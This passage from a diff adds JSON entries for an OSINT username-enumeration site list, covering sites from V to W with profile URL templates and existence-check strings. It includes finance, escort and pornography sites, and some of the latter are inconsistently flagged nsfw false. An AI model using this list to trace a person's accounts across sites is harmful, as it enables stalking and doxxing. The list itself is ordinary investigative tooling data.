"http://valleykrosava.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Valorant Forums", + "url": "https://valorantforums.com/u/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The page you requested could not be found." + }, + { + "name": "Vamber", + "url": "https://vamber.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vampirerave", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Vapenews", + "url": "https://vapenews.ru/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 404", + "match_string": "\u041b\u0438\u0447\u043d\u043e\u0435" + }, + { + "name": "Vas3k", + "url": "https://vas3k.club/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vauxhallownersnetwork.co.uk", + "url": "http://www.vauxhallownersnetwork.co.uk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VC", + "url": "https://vc.ru/discovery?q={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null" + }, + { + "name": "VC.ru", + "url": "https://vc.ru/search/v2/subsite/relevant?query={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + }, + { + "name": "vch3469.3dn.ru", + "url": "http://vch3469.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vdv-belarus.ucoz.com", + "url": "http://vdv-belarus.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vega.ucoz.net", + "url": "http://vega.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vegalab", + "url": "http://forum.vegalab.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vegas Girls Gone Wild (Las Vegas, NV)", + "url": "https://vegasgirlsgonewild.com/escort/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Vegas Girls Gone Wild" + }, + { + "name": "VegasCreativeSoftware", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "VEGAS Community" + }, + { + "name": "Velocat", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Velog", + "url": "https://velog.io/@{}/posts", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Velomania", + "url": "https://forum.velomania.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Velomania", + "url": "https://forum.velomania.ru/member.php?username={}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Velosamara", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "velozone.ucoz.ua", + "url": "http://velozone.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Venera", + "url": "https://venera.one/search/?q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Venmo", + "url": "https://venmo.com/{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Venmo", + "url": "https://account.venmo.com/u/{}", + "category": "finance", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Venmo | Page Not Found" + }, + { + "name": "Vent", + "url": "https://vent.co/u/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "current-emotion" + }, + { + "name": "vento-club.com", + "url": "http://vento-club.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Verifiedhandles", + "url": "https://verifiedhandles.com/vhid/VHID/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Vero", + "url": "https://vero.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Error Page - VERO\u2122 \u2013 True Social" + }, + { + "name": "Vezha", + "url": "https://vezha.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + }, + { + "name": "vfarte.ru", + "url": "http://vfarte.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vgmpf", + "url": "https://vgmpf.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "vgorah.ucoz.ru", + "url": "http://vgorah.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vgr", + "url": "https://vgr.com/forum/profile/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "The page you requested", + "match_string": "ProfileStats" + }, + { + "name": "Vgtimes", + "url": "https://vgtimes.ru/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "match_string": "user_profile" + }, + { + "name": "Vgtimes", + "url": "https://vgtimes.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Vgtimes/Games", + "url": "https://vgtimes.ru/games/{}/forum/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vibilagare", + "url": "https://www.vibilagare.se/users/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sidan hittades inte |", + "match_code": 200, + "match_string": "Profil p\u00e5 vibilagare.se" + }, + { + "name": "Vidamora", + "url": "https://vidamora.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "currentusername" + }, + { + "name": "vidamora.com", + "url": "https://www.vidamora.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Viddler", + "url": "https://www.viddler.com/channel/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "profile-details" + }, + { + "name": "videhelp-comp.my1.ru", + "url": "http://videhelp-comp.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Video-Game-Music-Covers", + "url": "https://video-game-music-covers.wikia.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Video_ploud", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "videoforums.ru", + "url": "http://videoforums.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VideogameGeek", + "url": "https://videogamegeek.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist" + }, + { + "name": "Videogamer", + "url": "https://videogamer.com/forums/index.php?/profile/{}/", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "ProfilePhoto" + }, + { + "name": "videohive.net", + "url": "https://videohive.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found | VideoHive", + "match_string": "user-info" + }, + { + "name": "videomuzon.ucoz.ru", + "url": "http://videomuzon.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Videosift", + "url": "https://videosift.com/member/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "viewbug", + "url": "https://www.viewbug.com/member/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "missing-photos", + "match_string": "profile" + }, + { + "name": "vii.at.ua", + "url": "http://vii.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vilinburg.net", + "url": "http://vilinburg.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vim", + "url": "https://vim.wikia.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Vimeo", + "url": "https://vimeo.com/{}", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vimgolf", + "url": "http://www.vimgolf.com/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "vinbazar.at.ua", + "url": "http://vinbazar.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vine", + "url": "https://vine.co/api/users/profiles/vanity/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "That record does not exist", + "match_string": "userId" + }, + { + "name": "vingle.net", + "url": "https://vingle.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vintage-mustang.com", + "url": "https://vintage-mustang.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VIP-blog", + "url": "http://{}.vip-blog.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Blog inexistant", + "match_code": 200, + "match_string": "blog : " + }, + { + "name": "vip-cccp.clan.su", + "url": "http://vip-cccp.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vip-icq.ucoz.net", + "url": "http://vip-icq.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Virgool", + "url": "https://virgool.io/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "error_string": "\u06f4\u06f0\u06f4" + }, + { + "name": "Virtual Taboo", + "url": "https://virtualtaboo.com/pornstars/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "

404: Page not found

", + "match_string": "Birthday:" + }, + { + "name": "virtual-auto.ucoz.ru", + "url": "http://virtual-auto.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VirtualIreland", + "url": "https://www.virtualireland.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "virtualrift.ru", + "url": "http://virtualrift.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VirusTotal", + "url": "https://www.virustotal.com/ui/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not found" + }, + { + "name": "VirusTotal", + "url": "https://www.virustotal.com/gui/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Virustotal", + "url": "https://virustotal.com/ui/users/{}/trusted_users", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "virustotal", + "url": "https://www.virustotal.com/ui/users/{}/avatar", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "vishivalochka.ru", + "url": "http://vishivalochka.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "visnesscard", + "url": "https://my.visnesscard.com/Home/GetCard/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "card_id\": 0", + "match_code": 200, + "match_string": "end_point" + }, + { + "name": "VitalFootball", + "url": "https://forums.vitalfootball.co.uk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "viupetra.3dn.ru", + "url": "http://viupetra.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vivasan.mobi", + "url": "http://vivasan.mobi/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vivino", + "url": "https://www.vivino.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vizjer.pl", + "url": "https://vizjer.pl/uzytkownik/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Ostatnie komentarze", + "match_string": "Profil u\u017cytkownika" + }, + { + "name": "Vjudge", + "url": "https://VJudge.net/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VK", + "url": "https://vk.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "VK (by id)", + "url": "https://vk.com/id{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Vkaline", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "VKFaces", + "url": "https://vkfaces.com/vk/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vkl.world (Mastodon Instance)", + "url": "https://vkl.world/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "VKMOnline", + "url": "http://forums.vkmonline.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vkrugudrusey", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "VKruguDruzei", + "url": "http://{}.vkrugudruzei.ru/x/blog/all/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "vkusnyashkino.ru", + "url": "http://vkusnyashkino.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vl-dimir.ru", + "url": "http://vl-dimir.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vlab", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vladimirka", + "url": "http://www.vladimirka.ru/board/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vladmama", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vlmi", + "url": "https://vlmi.biz/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vlmi", + "url": "https://vlmi.biz/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043f\u0441! \u041c\u044b \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438. | VLMI \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c, \u043e\u0431\u043c\u0435\u043d \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439" + }, + { + "name": "VLR", + "url": "https://www.vlr.gg/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vmst.io (Mastodon Instance)", + "url": "https://vmst.io/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Voice", + "url": "https://voice.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "voice-meta.jpg", + "match_string": "\"noindex\"" + }, + { + "name": "Voice123", + "url": "https://voice123.com/api/providers/search/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">[]", + "match_string": "user_id" + }, + { + "name": "Voices", + "url": "https://www.voices.com/actors/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Voices", + "url": "https://voices.com/profile/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-info" + }, + { + "name": "Voices.com", + "url": "https://www.voices.com/profile/{}/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "Try going back to the previous page or see below for more options", + "match_code": 200, + "match_string": "Last Online" + }, + { + "name": "Voicesevas", + "url": "http://voicesevas.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volga-gaz", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Volgograd Forum", + "url": "https://www.forum-volgograd.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volgogradru", + "url": "http://www.volgogradru.com/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + }, + { + "name": "Volkodavcaoko", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Volkswagen", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "volkswagen.lviv.ua", + "url": "http://volkswagen.lviv.ua/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Volleybox", + "url": "https://volleybox.net/ru/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Votetags", + "url": "https://www.votetags.info/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": " looking for. Perhaps searching can help." + }, + { + "name": "vovdm.at.ua", + "url": "http://vovdm.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Voyager", + "url": "https://voyager.lemmy.ml/u/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "VR PORN", + "url": "https://vrporn.com/pornstars/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "We're sorry, but this page wasn't found.

", + "match_string": ">Follow" + }, + { + "name": "vracing.3dn.ru", + "url": "http://vracing.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vrn-sms.ru", + "url": "http://vrn-sms.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VSCO", + "url": "https://vsco.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vsco", + "url": "https://vsco.co/{}/gallery", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"site_not_found\"}", + "match_code": 200, + "match_string": "permaSubdomain" + }, + { + "name": "Vse", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "vse-o-zaz.at.ua", + "url": "http://vse-o-zaz.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vse1.ucoz.com", + "url": "http://vse1.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vsemayki", + "url": "https://www.vsemayki.ru/designer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not Found" + }, + { + "name": "vsemobile.my1.ru", + "url": "http://vsemobile.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vseotkritki.ru", + "url": "http://vseotkritki.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vulengate", + "url": "https://www.vulengate.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Vulgo_rolka", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Vxzone", + "url": "https://www.vxzone.com/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Vyshyvanka", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430 \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Vzvd", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W", + "url": "https://w.atwiki.jp/{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "atwiki-list" + }, + { + "name": "w2l-g.ucoz.org", + "url": "http://w2l-g.ucoz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W3challs", + "url": "https://w3challs.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Page not found \u2013 W3Challs Hacking Challenges" + }, + { + "name": "W3Schools", + "url": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W3schools", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "problem" + }, + { + "name": "W7forums", + "url": "https://www.w7forums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "W7forums", + "url": "https://www.w7forums.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Wackypedia", + "url": "https://wackypedia.risteq.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wakatime", + "url": "https://wakatime.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wakeup.ucoz.com", + "url": "http://wakeup.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wallpost.ucoz.ru", + "url": "http://wallpost.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wanelo", + "url": "https://wanelo.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wankz VR", + "url": "https://www.wankzvr.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Oops 404, we couldn't 